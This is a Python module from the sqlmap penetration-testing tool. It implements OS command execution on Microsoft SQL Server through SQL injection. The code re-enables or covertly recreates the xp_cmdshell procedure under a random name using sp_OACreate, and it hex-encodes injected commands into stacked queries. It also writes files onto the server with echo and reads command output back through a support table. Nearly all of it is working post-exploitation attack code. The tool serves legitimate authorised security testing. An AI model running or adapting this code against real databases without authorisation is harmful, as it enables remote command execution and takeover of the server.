#!/usr/bin/env python """ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import getSPQLSnippet from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import pushValue from lib.core.common import popValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastRequestDelayed from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request import inject class xp_cmdshell: """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. """ def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" def __xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd = getSPQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self.__randStr = randomStr(lowercase=True) self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew cmd = getSPQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew) if Backend.isVersionWithin(("2005", "2008")): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) def __xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd def __xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: cmd = getSPQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: cmd = getSPQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd def __xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2005", "2008")): cmd = self.__xpCmdshellConfigure2005(mode) else: cmd = self.__xpCmdshellConfigure2000(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) def __xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) return wasLastRequestDelayed() def __xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") output = self.evalCmd("echo 1") if isNoneValue(output): errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " errMsg += "--tmp-path switch or you will not be able to retrieve " errMsg += "the commands output" logger.error(errMsg) else: logger.info("xp_cmdshell extended procedure is usable") threadData.disableStdOut = popValue() def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): echoedLines = [] cmd = "" charCounter = 0 maxLen = 512 if isinstance(fileContent, (set, list, tuple)): lines = fileContent else: lines = fileContent.split("\n") for line in lines: echoedLine = "echo %s " % line echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd) cmd = "" charCounter = 0 if cmd: self.xpCmdshellExecCmd(cmd) def xpCmdshellForgeCmd(self, cmd): self.__randStr = randomStr(lowercase=True) self.__cmd = "0x%s" % hexencode(cmd) self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) return agent.runAsDBMSUser(self.__forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): cmd = self.xpCmdshellForgeCmd(cmd) return inject.goStacked(cmd, silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked("INSERT INTO %s EXEC %s '%s'" % (self.cmdTblName, self.xpCmdshellStr, cmd)) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output): output = output[1:] return output def xpCmdshellInit(self): if not kb.xpCmdshellAvailable: infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, please wait.." logger.info(infoMsg) result = self.__xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") kb.xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " choice = readInput(message, default="Y") if not choice or choice in ("y", "Y"): self.__xpCmdshellConfigure(1) if self.__xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: logger.warn("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self.__xpCmdshellConfigure(0) self.__xpCmdshellCreate() if self.__xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warn(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise sqlmapUnsupportedFeatureException, errMsg debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) # TEXT can't be used here because in error technique you get: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self.__xpCmdshellTest()